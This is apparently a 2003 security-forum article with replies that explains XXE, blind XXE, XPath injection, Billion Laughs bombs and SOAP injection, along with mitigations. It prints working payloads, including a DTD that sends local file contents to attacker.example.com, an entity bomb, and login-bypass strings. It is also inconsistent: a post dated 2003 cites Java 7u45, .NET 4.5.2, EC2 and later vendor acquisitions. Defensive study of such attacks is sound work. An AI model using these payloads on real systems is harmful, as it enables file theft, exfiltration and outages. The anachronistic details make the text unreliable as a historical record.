XWSS

XML Web Services Security Forum - Est. 2002

XML Injection Attacks: A Comprehensive Guide to XXE, XPath Injection, and XML Bombs

Article by mhendricks. Published 2003-06-14. Viewed 12,847 times.

mhendricks - Member since 2002-03-15 - Posts: 342
Published: 2003-06-14 10:00 UTC

Over the past year, this forum has discussed several individual XML parser vulnerabilities in web services endpoints. This article consolidates what we know about XML injection as a vulnerability class and provides a comprehensive reference for developers and security engineers deploying SOAP and XML-RPC services.

XML injection encompasses several distinct attack techniques that exploit how XML parsers process untrusted input. Each technique targets a different aspect of XML processing, but they share a common root cause: XML parsers are powerful by default, and most deployments do not restrict that power.

1. XML External Entity Injection (XXE)

XML External Entity injection is the most dangerous form of XML injection. It exploits the XML specification's support for external entity declarations in the Document Type Definition (DTD). When a parser resolves an external entity, it fetches the content from the URI specified in the entity declaration and includes it in the parsed document.

An attacker who controls XML input to a parser can define an external entity that references a local file:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<userInfo>
  <name>&xxe;</name>
</userInfo>

If the parser resolves external entities (which is the default for Xerces-J, MSXML, libxml2, and most other parsers), the contents of /etc/passwd are substituted into the document. If the application then reflects the parsed value back to the user - in a SOAP response, error message, or rendered page - the attacker reads the file contents.

XXE is not limited to local file reading. The entity URI can use multiple protocols:

  • file:// - read local files on the server
  • http:// - make outbound HTTP requests from the server (SSRF)
  • ftp:// - exfiltrate data via FTP connections to attacker-controlled servers
  • \\server\share (Windows UNC) - force SMB connections that leak NTLM hashes
  • jar: (Java) - fetch remote JAR files
  • gopher:// - send arbitrary data to arbitrary ports (if supported by the platform)

In enterprise deployments, the SSRF variant of XXE is particularly dangerous. A SOAP endpoint sitting in a DMZ can be used to scan the internal network, access metadata services on cloud providers (the 169.254.169.254 endpoint on EC2), or interact with internal services that are not exposed to the internet.

Blind XXE. When the application does not reflect the parsed entity value in its response, the attacker cannot read file contents directly. However, data exfiltration is still possible using out-of-band techniques. The attacker hosts a malicious DTD on their server:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;

The target parser fetches this DTD, reads the local file, and sends its contents as a URL parameter to the attacker's server. The attacker reads the data from their HTTP access logs. This technique works against most parsers that resolve external entities, even when the application itself never displays the parsed content.

2. XPath Injection

XPath injection occurs when user-supplied data is concatenated into XPath queries without sanitization. This is analogous to SQL injection but targets XML document stores instead of relational databases.

Many web services use XML documents for configuration, user storage, or message routing. When XPath queries against these documents include untrusted input, an attacker can manipulate the query logic:

// Vulnerable Java code
String xpath = "//users/user[@name='" + username + "' and @password='" + password + "']";
XPathExpression expr = xpathObj.compile(xpath);
NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);

An attacker submits:

Username: ' or '1'='1
Password: ' or '1'='1

The resulting XPath expression becomes:

//users/user[@name='' or '1'='1' and @password='' or '1'='1']

This evaluates to true for every user node, bypassing authentication - exactly like SQL injection against a login form.

XPath injection can also be used to extract the entire XML document. Unlike SQL databases, XML documents are hierarchical, and XPath has functions that allow an attacker to enumerate the document structure:

' or count(//*)>0 or 'x'='y          (boolean test: does the doc have nodes?)
' or string-length(name(/*))>0 or '    (get root element name length)
' or substring(name(/*),1,1)='u' or '  (extract root element name char by char)

This blind XPath injection technique is slow but allows complete extraction of the target XML document, including elements the attacker's query was never intended to access.

Mitigation: Use parameterized XPath queries. The JAXP XPathVariableResolver interface in Java and the XPathExpression.AddSort with compiled expressions in .NET allow binding variables safely. Alternatively, validate all inputs against a strict whitelist before inclusion in XPath expressions.

3. XML Bomb (Billion Laughs Attack)

The XML bomb, also known as the Billion Laughs attack or entity expansion attack, exploits recursive entity definitions to cause exponential memory consumption in the XML parser.

<?xml version="1.0"?>
<!DOCTYPE bomb [
  <!ENTITY a "aaaaaaaaaaaaaaaaaaaaa">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  <!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
  <!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
  <!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
  <!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
  <!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
]>
<data>&i;</data>

The XML document itself is less than 1 KB on the wire. But when the parser expands all entities, the string a (21 characters) is expanded through 8 levels of 10x expansion: 21 * 10^8 = approximately 2.1 billion characters. This consumes multiple gigabytes of memory and will crash or hang most XML parsers and the applications hosting them.

The attack is trivial to execute and devastating in effect. A single HTTP request to a SOAP endpoint can take down the entire application server. We have tested this against Apache Axis 1.1, BEA WebLogic 7.0, IBM WebSphere 5.0, and Microsoft .NET Framework 1.1 - all are vulnerable in their default configuration.

A variation called the "Quadratic Blowup" attack uses a single large entity that is referenced many times, avoiding recursive definitions while still consuming excessive memory. Some parsers that limit recursion depth are still vulnerable to this variant.

4. SOAP Injection

SOAP injection targets the structure of SOAP messages themselves. When user input is concatenated into SOAP request XML without proper encoding, an attacker can inject additional XML elements that modify the SOAP message structure.

Consider a .NET web service client that builds a SOAP request by concatenating strings:

String soapBody = "<GetPrice><Item>" + userInput + "</Item></GetPrice>";

An attacker provides:

</Item></GetPrice><AddAdmin><Username>attacker</Username></AddAdmin><GetPrice><Item>x

The resulting SOAP body now contains two operations: the original GetPrice and an injected AddAdmin. If the server-side SOAP engine processes all operations in the message, the attacker has added an administrator account.

SOAP injection is less commonly discussed than XXE or XPath injection, but it is a real threat in systems that build SOAP messages through string concatenation rather than using proper XML serialization libraries. Enterprise service bus (ESB) deployments that transform or route SOAP messages based on element content are particularly at risk.

Comprehensive Mitigation Strategy

Defending against XML injection requires addressing multiple parser behaviors:

  • Disable DTD processing entirely. Set disallow-doctype-decl to true on SAX parsers. Set DtdProcessing.Prohibit on .NET XmlReaderSettings. If your application does not need DTDs (and most web services do not), reject any document containing a DOCTYPE declaration.
  • Disable external entity resolution. Set external-general-entities and external-parameter-entities to false. Set XmlResolver to null in .NET parsers. This blocks XXE even if DTD processing is allowed for other reasons.
  • Set entity expansion limits. Java 7u45+ supports the jdk.xml.entityExpansionLimit system property (default 64000). The Xerces http://apache.org/xml/properties/entity-expansion-limit property can also be set. .NET 4.5.2+ has MaxCharactersFromEntities on XmlReaderSettings.
  • Use parameterized queries for XPath. Never concatenate user input into XPath expressions. Use XPathVariableResolver (Java) or compiled XPath expressions with parameters (.NET).
  • Use XML serialization libraries for SOAP construction. Never build SOAP messages through string concatenation. Use JAX-WS, System.Web.Services, or equivalent libraries that handle XML encoding automatically.
  • Validate XML against a schema. Enforce XML Schema (XSD) validation on all incoming messages. Schema validation rejects documents with unexpected elements, providing a defense-in-depth layer against injection attacks.
  • Deploy an XML firewall. Products from Reactivity (now Cisco), DataPower (now IBM), and Forum Systems can inspect and filter XML traffic before it reaches the application server. For organizations with many SOAP endpoints, this provides centralized protection.

The fundamental problem is that XML is a feature-rich format deployed in security-sensitive contexts. The features that make XML powerful - entity expansion, external references, namespace resolution, XPath querying - are the same features that attackers exploit. The only safe approach is to disable every feature you do not explicitly need.

I will continue to update this article as new XML injection techniques and vendor patches are published. Forum members are encouraged to post additional findings in the Security Advisories section.

- Mark Hendricks

p_richardson - Member since 2002-01-08 - Posts: 487
Posted: 2003-06-15 09:22 UTC
mhendricks wrote:
The fundamental problem is that XML is a feature-rich format deployed in security-sensitive contexts.

Excellent reference article, Mark. One thing I would add is that XML injection testing should be part of every web services security assessment. In my experience, most development teams are aware of SQL injection but have never heard of XXE or XPath injection. The XML parser is a blind spot.

For testing, I recommend the following approach:

First, test for XXE by submitting a document with an external entity that references a known file like /etc/hostname or a collaborator URL. If you get the file contents back or see a DNS lookup to your collaborator, external entities are enabled.

Second, test for entity expansion by sending a small Billion Laughs payload with 3-4 levels of nesting. If the response takes significantly longer than normal or the server returns a 500 error, the parser is vulnerable to expansion attacks.

Third, if the application uses XPath queries (common in LDAP-backed authentication and XML configuration stores), test for injection using the same techniques used for SQL injection: single quotes, boolean conditions, and tautologies.

I have been compiling a test payload library for our internal assessment methodology. If there is interest, I can post sanitized versions of the test cases to the forum.

- Peter Richardson

s_yamamoto - Member since 2002-06-22 - Posts: 218
Posted: 2003-06-16 14:10 UTC

Thank you both. I want to add one more implementation note for Java developers who cannot fully disable DTD processing because their application legitimately uses internal DTDs for entity shortcuts.

In that case, you can use a custom EntityResolver that returns an empty input source for any external entity request:

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
reader.setEntityResolver(new EntityResolver() {
    public InputSource resolveEntity(String publicId, String systemId) {
        return new InputSource(new StringReader(""));
    }
});

This allows internal entity definitions (which do not reference external resources) while blocking all external entity resolution. It is not as secure as disabling DTDs entirely, but it is a practical compromise for legacy systems that depend on internal DTD features.

For new development, I strongly agree with Mark: disable DTD processing entirely and use XML Schema for validation. There is no reason for a web services endpoint to accept DTDs in 2003.

- Shinji Yamamoto